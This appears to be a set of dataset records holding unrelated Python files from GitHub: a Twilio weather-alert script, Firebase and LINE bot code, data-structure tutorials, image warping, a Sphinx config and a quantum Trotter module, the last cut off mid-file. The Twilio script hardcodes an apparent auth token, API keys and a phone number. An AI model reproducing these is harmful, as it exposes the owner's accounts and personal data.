+{"seq_id":"70453984538","text":"import requests\r\nfrom twilio.rest import Client \r\naccount_sid = \"AC1007642f283b0b51322868141f2ef45d\"\r\nauth_token = \"8639a38efcfd8a1f39829aca36b65826\"\r\n\r\nmy_lat = 23.138639\r\nmy_lon = 72.536471\r\napi_key = \"74bcdf7e1bd33be6575e1060b8bcd0a5\"\r\nurl = \"https://api.openweathermap.org/data/2.5/weather\"\r\nrain_params = {\r\n \"lat\":my_lat,\r\n \"lon\":my_lon,\r\n \"appid\":api_key,\r\n}\r\nresponses = requests.get(url,params=rain_params)\r\ndata = responses.json()['weather'][0]['main']\r\nprint(data)\r\nclient1 = Client(account_sid,auth_token)\r\nmessage = client1.messages.create(\r\n to = '+919426380974',\r\n from_ = '+13862516407',\r\n body=f'''PYTHON SEND MESSAGE\r\n CURRENT WEATHER = \"{data}\"'''\r\n)\r\nprint(message.sid)","repo_name":"ShubhamHaraniya/Python-Basic-Project","sub_path":"14. Weather_Alert/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"18093358781","text":"from .initialize_firebase import db\nfrom .community_data import ListUsers\nfrom google.cloud import firestore\n\n\ndef CreateCommunity(document_id, user_uid, description=\"the lemonest of societies\",\n categories=['lemon', ]): # (name of community, admin user_id)\n document_ref = db.collection('community').document(document_id)\n data = {\"Description\": description, \"Name\": document_id, \"categories\": categories}\n\n member_subcollection = document_ref.collection('members')\n member_data = {'admin': [user_uid, ], 'muted': []}\n subdocument_ref = member_subcollection.document('members')\n subdocument_ref.set(member_data)\n\n document_ref.set(data)\n if document_ref.id:\n print('Document created successfully.')\n else:\n print('Failed to create document.')\n\n\ndef EditCommunity(document_id, uid, option=None, arg=None):\n print('---list roles---')\n userlist = ListUsers(document_id)\n if uid in userlist['admin']:\n print(f'{uid} is authorized')\n else:\n if option == 'MESSAGE': # send message (arg) to channel\n document_path = f'community/{document_id}/channels/channel-1/chat/messages'\n\n # Update append message to messages\n db.document(document_path).update({\n # ` is required around message-list, why? ...idk ask google\n '`message-list`': firestore.ArrayUnion([{'message': arg, 'uid': uid}])\n })\n else:\n print('unauthorized')\n exit()\n if option == 'ADD': # add channel\n document_ref = db.collection('community').document('channels')\n\n # Create a new document within the channels subcollection\n channel_doc_ref = document_ref.document(arg)\n channel_doc_ref.set({})\n\n # Create the chat subcollection within the channel\n chat_subcollection_ref = channel_doc_ref.collection('chat')\n chat_subcollection_ref.set({})\n\n # Create the messages document within the chat subcollection\n chat_document_ref = chat_subcollection_ref.document('messages')\n chat_data = {'message-list': []}\n chat_document_ref.set(chat_data)\n\n\n elif option == 'DELETE': # delete channel\n # Specify the document path\n document_path = f'community/{document_id}/channels/{arg}'\n\n # Delete the channel\n db.document(document_path).delete()\n elif option == 'MESSAGE':\n pass\n else:\n print('invalid option')\n\n# CreateCommunity(\"Lemon society\", '123')\ndef test():\n EditCommunity('Lemon society', '123', 'add', 'Ice')\n","repo_name":"TheHuntsman4/Hack_Overflow","sub_path":"backend/api/firebase_functions/create_community.py","file_name":"create_community.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"6027799568","text":"\"\"\"\nImplementation of a python program to create a binary tree\nwhen the inOrder and PreOrder traversals of the tree are given.\n\"\"\"\n\n# Class to create a tree node\nclass Node:\n\n def __init__(self, data):\n\n # Contains data and link for both child nodes\n self.data = data\n\n self.left = None\n\n self.right = None\n\n# Function to print the preorder traversal of a tree, once created\ndef printPreOrder(root):\n\n # If the tree exists\n if root:\n\n # Print the data\n print(root.data, end = \" \")\n\n # Traverse left subtree\n printPreOrder(root.left)\n\n # Traverse right subtree\n printPreOrder(root.right)\n\n\"\"\"\nCreation of the Tree from inOrder and level order traversals\n\"\"\"\ndef buildTree(inOrder, levOrder):\n\n # If inorder is there (traversal remains in subtree)\n if inOrder:\n\n # Traversing through the level order\n for i in range(len(levOrder)):\n\n # If we find required node to add just create a node\n # and store its value then break the further iteration\n if levOrder[i] in inOrder:\n\n node = Node(levOrder[i])\n\n inIndex = inOrder.index(levOrder[i])\n\n break\n\n # Do the same for left and right childs of the node\n node.left = buildTree(inOrder[:inIndex], levOrder)\n\n node.right = buildTree(inOrder[inIndex+1:len(inOrder)], levOrder)\n\n # Return the node to it's predecessor\n return node\n\n# The main function\ndef main():\n\n # Input the inorder traversal of the tree\n inOrder = list(map(int, input().split()))\n\n # Input the level order traversal of the tree\n levOrder = list(map(int, input().split()))\n\n # Call the function to build the tree\n root = buildTree(inOrder, levOrder)\n\n # Returning the root of the created Binary Tree\n return root\n\n# The driver code\nif __name__ == '__main__':\n\n # Calling the main function to create and return the tree\n root = main()\n\n # print the preorder traversal of the created tree\n printPreOrder(root)\n","repo_name":"gourav287/Codes","sub_path":"BinaryTree/TreeCreation/CreateCompleteBinaryTreeByInorderAndLevelOrder.py","file_name":"CreateCompleteBinaryTreeByInorderAndLevelOrder.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"70010937816","text":"########################################################\n#### 2D Lists & Nested Loops ####\n########################################################\n\n\nnumber_grid = [\n \n [1, 2, 3], # each one of these is lists within a list. aka rows and columns in a grid like structure \n [4, 5, 6],\n [7, 8, 9],\n [0] \n \n ]\n\n# print(number_grid[index for row][index for the column])\n\nprint(number_grid[2][1]) ; # this would print 8 - why?\n\n# well remember, indexes start at 0 in Python.\n# so, first row (1,2,3) is index 0, likewise first column (1,4,7,0) is index 0 .\n# so, the number 8, in the grid, belongs to 3rd row (indexed as 2) and 2nd column (indexed as 1) \n\n##########################################################################################################\n\n# Nested for loops are basically for loops inside a for loop \n\nfor row in number_grid :\n for col in row:\n \n print(col) ; # prints all numbers out to the console, across the number grid \n \n ","repo_name":"collid1502/Udemy-Learn-Python-Masterclass","sub_path":"2. Program Flow Control in Python/2D Lists & Nested loops.py","file_name":"2D Lists & Nested loops.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"25599373264","text":"# https://github.com/line/line-bot-sdk-python\nfrom google.cloud import datastore\nfrom flask import Flask, request, abort, redirect\nfrom linebot import LineBotApi, WebhookHandler\nfrom linebot.exceptions import InvalidSignatureError, LineBotApiError\nfrom linebot.models import MessageEvent, TextMessage, TextSendMessage, StickerMessage\nimport os\nimport re\nimport config\n\napp = Flask(__name__)\n\nurl_github = \"https://github.com/dr666m1/project_shiki_cast_bot\"\nline_bot_api = LineBotApi(config.token)\nhandler = WebhookHandler(config.secret)\nclient = datastore.Client()\n\n@app.route(\"/\")\ndef github():\n return redirect(url_github)\n\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n # get X-Line-Signature header value\n signature = request.headers['X-Line-Signature']\n # get request body as text\n body = request.get_data(as_text=True)\n app.logger.info(\"Request body: \" + body) # output log to stdout\n # handle webhook body\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n print(\"Invalid signature. Please check your channel access token/channel secret.\")\n abort(400)\n return 'OK'\n\ndef send_message(event, msg=None):\n if msg is None:\n msg = '何かお困りですか?\\n使い方は説明書をご確認ください。\\n\\n{}\\n\\n※環境によってはView all of README.mdを押さないと全文表示されません。'.format(url_github)\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=msg)\n )\n\nupsert_message = [\n \"【{}】さん推しなんですね!\\n出演が決まったら連絡します。\",\n \"【{}】さん推しやめるんですね?\\n気が変わったら教えてください。\",\n]\n\ndef upsert_fan(event, key_user, cast):\n entity_user = client.get(key_user)\n if entity_user is None:\n entity_user = datastore.Entity(key=key_user)\n favorites = [cast]\n message = 0\n else:\n favorites_prev = entity_user[\"favorites\"]\n if cast in favorites_prev:\n favorites = [x for x in favorites_prev if x != cast]\n message = 1\n else:\n favorites = favorites_prev + [cast]\n message = 0\n entity_user.update({\n \"favorites\": favorites\n })\n client.put(entity_user)\n send_message(event, upsert_message[message].format(cast))\n\n@handler.add(MessageEvent, message=TextMessage)\ndef handle_text_message(event):\n text = re.sub(\"[ ]\", \"\", event.message.text) # delete space\n user_id = event.source.user_id\n if 2 <= len(event.message.text.split(\"\\n\")):\n send_message(event)\n else:\n key_cast = client.key(\"Cast\", text)\n entity_cast = client.get(key_cast)\n if entity_cast is None:\n send_message(event, \"【{}】さんは知らないです...\\nごめんなさい!\".format(text))\n else:\n key_user = client.key(\"Fan\", user_id)\n upsert_fan(event, key_user, key_cast.name)\n\n@handler.add(MessageEvent, message=StickerMessage)\ndef handle_sticker_message(event):\n key_user = client.key(\"Fan\", event.source.user_id)\n entity_user = client.get(key_user)\n try:\n favorites = entity_user[\"favorites\"]\n except TypeError as e:\n favorites = []\n if favorites == []:\n send_message(event, \"よかったら好きなキャストさんを教えてください。\")\n else:\n reply = \"\\n\".join([f + \"さん\" for f in favorites]) + \"\\n推しなんですね!\"\n send_message(event, reply)\n\nif __name__ == \"__main__\":\n app.run(debug=True,host='0.0.0.0',port=int(os.environ.get('PORT', 8080)))\n","repo_name":"kitta65/project_shiki_cast_bot","sub_path":"cloud_run/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"106845892","text":"import csv\n\n# write the results from i_dt to a csv file\ndef writeResult(subject_id, results):\n file_name = f'{subject_id}_results.csv'\n with open(file_name, mode=\"w\", newline='') as subject_data:\n csv_writer = csv.writer(subject_data, delimiter=',')\n csv_writer.writerow(['known','centroid_x', 'centroid_y', 'fix_dur'])\n for result in results:\n row_i = 0\n for row in result[1]:\n csv_writer.writerow([result[0], row[0], row[1], result[2][row_i]])\n row_i += 1\n csv_writer.writerow([])","repo_name":"aatuv/eye2020group4","sub_path":"write_results.py","file_name":"write_results.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32280736146","text":"class Node():\n\tdef __init__(self,data,nxt,prev):\n\t\tself.data = data\n\t\tself.nxt = None\n\t\tself.prev = None\n\n\t@staticmethod\n\tdef insert_lst(data,head):\n\t\tnode = Node(data)\n\t\ttemp = head\n\t\twhile(temp.nxt!=None):\n\t\t\ttemp=temp.nxt\n\t\ttemp.nxt = node\n\t\tnode.prev = temp\n\t\ttemp.nxt = null\n\n\n\n\n","repo_name":"isharajan/python_stuff","sub_path":"dblyll.py","file_name":"dblyll.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"4511820419","text":"#!/bin/python3\n\nimport sys\n\ndef lonely_integer(a):\n tmp_a= dict()\n for i in a:\n tmp_a[i] = tmp_a.get(i, 0) + 1\n for key, value in tmp_a.items():\n if value==1:\n return key\n\n\n\nn = int(input().strip())\na = [int(a_temp) for a_temp in input().strip().split(' ')]\nprint(lonely_integer(a))\n","repo_name":"pensebien/intro_to_programming","sub_path":"hackerrank/lonelyint.py","file_name":"lonelyint.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"7839654321","text":"import cv2\r\nfrom skimage.external.tifffile import TiffFile\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nimage_cv2=cv2.imread(\"C:\\\\Users\\\\kylenate\\\\Desktop\\\\paper_registration1114\\\\santa_cruz_az-band7.tif\",cv2.IMREAD_UNCHANGED)\r\n\r\n\r\n\r\npts1 = np.float32([[0,0],[1000,0],[1000,1000]])\r\npts2 = np.float32([[0,np.random.randint(0,200,(1,))[0]],[np.random.randint(800,1000,(1,))[0],0],[1000,np.random.randint(800,1000,(1,))[0]]])\r\nM1 = cv2.getAffineTransform(pts1,pts2)\r\nwrap1 = cv2.warpAffine(image_cv2,M1,(1000,1000))\r\n\r\n\r\nplt.subplot(2,2,1)\r\nplt.imshow(wrap1)\r\n\r\n\r\nM2=cv2.getAffineTransform(pts2,pts1)\r\nwrap2 = cv2.warpAffine(wrap1,M2,(1000,1000))\r\n\r\nplt.subplot(2,2,2)\r\nplt.imshow(wrap2)\r\n\r\n\r\npts3 = np.float32([[0,0],[1000,0],[1000,1000]])\r\npts4 = np.float32([[0,np.random.randint(0,200,(1,))[0]],[np.random.randint(800,1000,(1,))[0],0],[1000,np.random.randint(800,1000,(1,))[0]]])\r\nM3 = cv2.getAffineTransform(pts3,pts4)\r\nwrap3 = cv2.warpAffine(wrap2,M3,(1000,1000))\r\n\r\nplt.subplot(2,2,3)\r\nplt.imshow(wrap3)\r\n\r\n\r\npts5 = pts2\r\npts6 = pts4\r\nM4 = cv2.getAffineTransform(pts6,pts5)\r\nwrap4 = cv2.warpAffine(wrap3,M4,(1000,1000))\r\n\r\n\r\nplt.subplot(2,2,4)\r\nplt.imshow(wrap4)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"liliangzhi110/E2EIR","sub_path":"generate_affine_pre_data/wrapAffine/test_4point_random_random_landsat_256.py","file_name":"test_4point_random_random_landsat_256.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"68"}
+{"seq_id":"70801051098","text":"# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nproject = \"Posey Control\"\ncopyright = \"2023, Anthony Wertz\"\nauthor = \"Anthony Wertz\"\nrelease = \"1.2.0\"\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.napoleon\",\n \"sphinx.ext.mathjax\",\n \"sphinx.ext.autosummary\",\n \"sphinx.ext.viewcode\",\n \"sphinx_immaterial\",\n \"sphinx_immaterial.apidoc.python.apigen\",\n \"sphinx.ext.githubpages\",\n # \"sphinx_design\",\n # \"IPython.sphinxext.ipython_console_highlighting\",\n # \"IPython.sphinxext.ipython_directive\",\n # \"ipython_with_reprs\",\n]\n\ntemplates_path = [\"_templates\"]\nexclude_patterns = []\n\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = \"sphinx_immaterial\"\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = [\"_static\"]\n\n# html_css_files = [\n# \"extra.css\",\n# ]\n\n# # Define a custom inline Python syntax highlighting literal\n# rst_prolog = \"\"\"\n# .. role:: python(code)\n# :language: python\n# :class: highlight\n# \"\"\"\n\n# Sets the default role of `content` to :python:`content`, which uses the custom Python syntax highlighting inline literal\n# default_role = \"python\"\n\nhtml_title = \"Posey Control\"\nhtml_show_sphinx = False\n\n# Sphinx Immaterial theme options\nhtml_theme_options = {\n \"icon\": {\n \"repo\": \"fontawesome/brands/github\",\n },\n \"site_url\": \"https://github.com/SML-Posey/posey-ctrl\",\n \"repo_url\": \"https://github.com/SML-Posey/posey-ctrl\",\n \"repo_name\": \"SML-Posey/posey-ctrl\",\n \"repo_type\": \"github\",\n \"social\": [\n {\n \"icon\": \"fontawesome/brands/github\",\n \"link\": \"https://github.com/SML-Posey/posey-ctrl\",\n },\n {\n \"icon\": \"fontawesome/brands/python\",\n \"link\": \"https://pypi.org/SML-Posey/posey-ctrl\",\n },\n ],\n \"edit_uri\": \"\",\n \"globaltoc_collapse\": True,\n \"features\": [\n \"navigation.expand\",\n # \"navigation.tabs\",\n # \"toc.integrate\",\n \"navigation.sections\",\n # \"navigation.instant\",\n # \"header.autohide\",\n \"navigation.top\",\n # \"navigation.tracking\",\n # \"search.highlight\",\n \"search.share\",\n \"toc.follow\",\n \"toc.sticky\",\n \"content.tabs.link\",\n \"announce.dismiss\",\n ],\n \"palette\": [\n {\n \"media\": \"(prefers-color-scheme: light)\",\n \"scheme\": \"default\",\n \"primary\": \"light-green\",\n \"accent\": \"light-blue\",\n \"toggle\": {\n \"icon\": \"material/lightbulb-outline\",\n \"name\": \"Switch to dark mode\",\n },\n },\n {\n \"media\": \"(prefers-color-scheme: dark)\",\n \"scheme\": \"slate\",\n \"primary\": \"deep-orange\",\n \"accent\": \"lime\",\n \"toggle\": {\n \"icon\": \"material/lightbulb\",\n \"name\": \"Switch to light mode\",\n },\n },\n ],\n}\n\nhtml_last_updated_fmt = \"\"\nhtml_use_index = True\nhtml_domain_indices = True\n\n# -- Extension configuration -------------------------------------------------\n\n# Create hyperlinks to other documentation\nautodoc_default_options = {\n # \"imported-members\": True,\n \"members\": True,\n \"undoc-members\": True,\n # \"special-members\": True,\n # \"inherited-members\": \"ndarray\",\n # \"member-order\": \"groupwise\",\n}\nautodoc_typehints = \"signature\"\nautodoc_typehints_description_target = \"documented\"\nautodoc_typehints_format = \"short\"\n\n# -- Sphinx Immaterial configs -------------------------------------------------\n\n# Python apigen configuration\npython_apigen_modules = {\n \"poseyctrl\": \"poseyctrl\",\n}\npython_apigen_default_groups = [\n (\"class:.*\", \"Classes\"),\n (\"data:.*\", \"Variables\"),\n (\"function:.*\", \"Functions\"),\n (\"classmethod:.*\", \"Class methods\"),\n (\"method:.*\", \"Methods\"),\n (r\"method:.*\\.[A-Z][A-Za-z,_]*\", \"Constructors\"),\n (r\"method:.*\\.__[A-Za-z,_]*__\", \"Special methods\"),\n (r\"method:.*\\.__(init|new)__\", \"Constructors\"),\n (r\"method:.*\\.__(str|repr)__\", \"String representation\"),\n (\"property:.*\", \"Properties\"),\n (r\".*:.*\\.is_[a-z,_]*\", \"Attributes\"),\n]\npython_apigen_default_order = [\n (\"class:.*\", 10),\n (\"data:.*\", 11),\n (\"function:.*\", 12),\n (\"classmethod:.*\", 40),\n (\"method:.*\", 50),\n (r\"method:.*\\.[A-Z][A-Za-z,_]*\", 20),\n (r\"method:.*\\.__[A-Za-z,_]*__\", 28),\n (r\"method:.*\\.__(init|new)__\", 20),\n (r\"method:.*\\.__(str|repr)__\", 30),\n (\"property:.*\", 60),\n (r\".*:.*\\.is_[a-z,_]*\", 70),\n]\npython_apigen_order_tiebreaker = \"alphabetical\"\npython_apigen_case_insensitive_filesystem = False\npython_apigen_show_base_classes = True\n\n# Python domain directive configuration\npython_module_names_to_strip_from_xrefs = [\"collections.abc\"]\n\n# General API configuration\nobject_description_options = [\n (\"py:.*\", dict(include_rubrics_in_toc=True)),\n]\n\nsphinx_immaterial_custom_admonitions = [\n {\n \"name\": \"seealso\",\n \"title\": \"See also\",\n \"classes\": [\"collapsible\"],\n \"icon\": \"fontawesome/regular/eye\",\n \"override\": True,\n },\n {\n \"name\": \"star\",\n \"icon\": \"octicons/star-fill-24\",\n \"color\": (255, 233, 3), # Gold\n },\n {\n \"name\": \"fast-performance\",\n \"title\": \"Faster performance\",\n \"icon\": \"material/speedometer\",\n \"color\": (40, 167, 69), # Green: --sd-color-success\n },\n {\n \"name\": \"slow-performance\",\n \"title\": \"Slower performance\",\n \"icon\": \"material/speedometer-slow\",\n \"color\": (220, 53, 69), # Red: --sd-color-danger\n },\n]\n","repo_name":"SML-Posey/posey-ctrl","sub_path":"_docs/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":6524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32393460598","text":"from typing import Union, Tuple, Optional\nimport numpy as np\nfrom scipy.linalg import expm\nfrom qiskit import QuantumCircuit\nimport aqc_research.checking as chk\nimport aqc_research.utils as helper\nfrom aqc_research.circuit_transform import qcircuit_to_state, qcircuit_to_matrix\nimport aqc_research.mps_operations as mpsop\nfrom aqc_research.parametric_circuit import (\n ParametricCircuit,\n TrotterAnsatz,\n first_layer_included,\n)\n\n\nclass Trotter:\n \"\"\"\n Class for Trotter evolution of quantum states. Namely, given an input\n initial state and evolution parameters provided in constructor, the\n member functions of this class evolve the initial state forward in time\n using a Trotter circuit.\n\n By definition, a single \"Trotter step\" is a full layer of elementary\n 2-qubit Trotter blocks applied to every pair of adjacent qubits.\n In case of 2nd order Trotter, additional half-layer is implied at the end.\n \"\"\"\n\n def __init__(\n self,\n *,\n num_qubits: int,\n evol_time: float,\n num_steps: int,\n delta: float = 1.0,\n second_order: bool,\n ):\n \"\"\"\n Args:\n num_qubits: number of qubits.\n evol_time: evolution time.\n num_steps: number of Trotter steps (full layers).\n delta: parameter of corresponding Hamiltonian - scale of z-terms.\n second_order: True, if the 2nd order Trotter is intended.\n \"\"\"\n assert chk.is_int(num_qubits, num_qubits >= 2)\n assert chk.is_float(evol_time, evol_time > 0)\n assert chk.is_int(num_steps, num_steps >= 1)\n assert chk.is_float(delta, delta > 0)\n assert isinstance(second_order, bool)\n\n self._num_qubits = num_qubits\n self._evol_time = evol_time\n self._num_trotter_steps = num_steps\n self._delta = delta\n self._dt = evol_time / float(num_steps)\n self._second_order = second_order\n\n @property\n def evol_time(self) -> float:\n \"\"\"Returns the evolution time.\"\"\"\n return self._evol_time\n\n @property\n def time_step(self) -> float:\n \"\"\"Returns the time step in Trotter evolution.\"\"\"\n return self._dt\n\n @property\n def num_trotter_steps(self) -> int:\n \"\"\"Returns the number of steps (full layers) in Trotter algorithm.\"\"\"\n return self._num_trotter_steps\n\n def as_vector(self, ini_state: Union[np.ndarray, QuantumCircuit]) -> np.ndarray:\n \"\"\"\n Time evolution of an initial state by Trotter approximation.\n\n Args:\n ini_state: a full state vector or a quantum circuit that generates\n initial state from ``|0>``.\n\n Returns:\n the state: ``|state> = Trotter |ini_state>``.\n \"\"\"\n if isinstance(ini_state, np.ndarray):\n assert chk.complex_1d(ini_state)\n qc_ini = QuantumCircuit(helper.num_qubits_from_size(ini_state.size))\n else:\n assert isinstance(ini_state, QuantumCircuit)\n qc_ini = ini_state\n\n qc = trotter_circuit(\n qc=qc_ini,\n dt=self._dt,\n delta=self._delta,\n num_trotter_steps=self._num_trotter_steps,\n second_order=self._second_order,\n )\n\n if isinstance(ini_state, np.ndarray):\n state = qcircuit_to_matrix(qc) @ ini_state\n else:\n state = qcircuit_to_state(qc)\n return state\n\n def as_qcircuit(self, ini_state: QuantumCircuit) -> QuantumCircuit:\n \"\"\"\n Time evolution of an initial state by Trotter approximation. Well, it is\n not a time evolution per se, rather a circuit generation procedure. The\n latter circuit, being applied to zero state ``|0>``, can produce the\n desired result.\n\n **Note**, the ``ini_state`` circuit will be augmented by the Trotter one.\n Do *not* consider it as an immutable one.\n\n Args:\n ini_state: quantum circuit that generates initial state from ``|0>``.\n\n Returns:\n the initial quantum circuit augmented by the Trotter one.\n \"\"\"\n return trotter_circuit(\n ini_state,\n dt=self._dt,\n delta=self._delta,\n num_trotter_steps=self._num_trotter_steps,\n second_order=self._second_order,\n )\n\n def as_mps(\n self,\n ini_state: QuantumCircuit,\n trunc_thr: float = mpsop.no_truncation_threshold(),\n out_state: Optional[np.ndarray] = None,\n ) -> mpsop.QiskitMPS:\n \"\"\"\n Time evolution of initial state by Trotter approximation in MPS format.\n\n Args:\n ini_state: quantum circuit that generates initial state from ``|0>``.\n trunc_thr: truncation threshold in MPS representation.\n out_state: output array for storing state as a normal vector;\n *note*, this can be very slow and even intractable\n for a large number of qubits; useful for testing only.\n\n Returns:\n MPS data generated by Qiskit backend, possibly with state vector,\n if ``out_state`` is provided.\n \"\"\"\n qc = trotter_circuit(\n ini_state,\n dt=self._dt,\n delta=self._delta,\n num_trotter_steps=self._num_trotter_steps,\n second_order=self._second_order,\n )\n return mpsop.mps_from_circuit(qc, trunc_thr=trunc_thr, out_state=out_state)\n\n\ndef make_hamiltonian(num_qubits: int, delta: float) -> np.ndarray:\n \"\"\"\n Makes a Hamiltonian matrix. This function is used only for testing to ensure\n generated Trotterized ansatz is consistent with Hamiltonian.\n\n **Note**, here we use *half-spin* matrices.\n\n **Remark**: it turns out the bit-ordering does not matter unless\n Hamiltonian is asymmetric, which is *not* this case.\n\n Args:\n num_qubits: number of qubits.\n delta: parameter of the Hamiltonian - scaling factor of z-terms.\n\n Returns:\n Hamiltonian matrix.\n \"\"\"\n\n def _full_matrix(_s_: np.ndarray, _j_: int) -> np.ndarray:\n \"\"\"Expands a 2x2 Pauli matrix into a full one.\"\"\"\n return np.kron(np.kron(np.eye(2**_j_), _s_), np.eye(2 ** (num_qubits - _j_ - 1)))\n\n def _b2b(_i_: int) -> int:\n \"\"\"\n Bit-to-bit conversion. See the remark in the parent function doc-string.\n \"\"\"\n # return num_qubits - 1 - _i # flip bit-ordering to conform to Qiskit\n return _i_ # do nothing\n\n sigmax = np.array([[0, 1], [1, 0]])\n sigmay = np.array([[0, 0 - 1.0j], [1.0j, 0]], dtype=np.cfloat)\n sigmaz = np.array([[1, 0], [0, -1]])\n\n sx_ = [_full_matrix(sigmax, j) for j in range(num_qubits)]\n sy_ = [_full_matrix(sigmay, j) for j in range(num_qubits)]\n sz_ = [_full_matrix(sigmaz, j) for j in range(num_qubits)]\n\n rng = range(num_qubits - 1)\n sx_sx = [np.dot(sx_[_b2b(i)], sx_[_b2b(i + 1)]) for i in rng]\n sy_sy = [np.dot(sy_[_b2b(i)], sy_[_b2b(i + 1)]) for i in rng]\n sz_sz = [np.dot(sz_[_b2b(i)], sz_[_b2b(i + 1)]) for i in rng]\n\n xterms = np.sum(sx_sx, axis=0)\n yterms = np.sum(sy_sy, axis=0)\n zterms = np.sum(sz_sz, axis=0)\n\n h = -0.25 * (xterms + yterms + delta * zterms)\n return h\n\n\ndef exact_evolution(\n hamiltonian: np.ndarray,\n ini_state: Union[QuantumCircuit, np.ndarray],\n evol_time: float,\n) -> np.ndarray:\n \"\"\"\n Computes exact state evolution starting from the initial state.\n This function is used only for testing to ensure generated Trotterized\n ansatz is consistent with Hamiltonian.\n\n **Note**, might be a slow routine, suitable for debugging and testing\n with a moderate number of qubits.\n\n Args:\n hamiltonian: Hamiltonian for state evolution.\n ini_state: quantum circuit acting on the state ``|0>``\n to produce an initial one, or a corresponding quantum state.\n evol_time: evolution time.\n\n Returns:\n final state as the result of time evolution of the initial one.\n \"\"\"\n assert chk.complex_2d(hamiltonian)\n assert isinstance(ini_state, (QuantumCircuit, np.ndarray))\n assert chk.is_float(evol_time, evol_time > 0)\n\n if isinstance(ini_state, QuantumCircuit):\n ini_state = qcircuit_to_state(ini_state)\n assert chk.complex_1d(ini_state)\n assert hamiltonian.shape == (ini_state.size, ini_state.size)\n\n e_h = expm((-1.0j * evol_time) * hamiltonian)\n exact_state = np.matmul(e_h, ini_state)\n return exact_state\n\n\ndef trotter_alphas(dt: float, delta: float) -> np.ndarray:\n \"\"\"\n Computes 3 angular parameters (``alphas``) of a Trotter building block.\n\n Args:\n dt: time step in Trotter algorithm.\n delta: parameter of corresponding Hamiltonian.\n\n Returns:\n angular parameters of Trotter building block.\n \"\"\"\n assert chk.is_float(dt, dt > 0)\n assert chk.is_float(delta, delta > 0)\n\n return np.asarray([np.pi / 2 - 0.5 * delta * dt, 0.5 * dt - np.pi / 2, np.pi / 2 - 0.5 * dt])\n\n\ndef trotter_global_phase(num_qubits: int, num_steps: int, second_order: bool) -> float:\n \"\"\"\n Returns global phase of a Trotter circuit. Note, after Trotter, the global\n phase of a qcircuit instance should be incremented as follows:\n ``qcircuit.global_phase += exp(1j * (global phase))``.\n\n Args:\n num_qubits: number of qubits.\n num_steps: number of Trotter steps.\n second_order: True, if the 2nd order Trotter is intended.\n\n Returns:\n global phase of Trotter circuit.\n \"\"\"\n assert chk.is_int(num_qubits, num_qubits >= 2)\n assert chk.is_int(num_steps, num_steps >= 1)\n assert isinstance(second_order, bool)\n\n quarter_pi = 0.25 * np.pi\n phs = quarter_pi * (num_qubits - 1) * num_steps\n if second_order:\n if num_qubits % 2 == 0: # even\n # return ph + quarter_pi * (num_qubits // 2)\n return phs + quarter_pi * num_qubits\n else: # odd\n # return ph + quarter_pi * ((num_qubits - 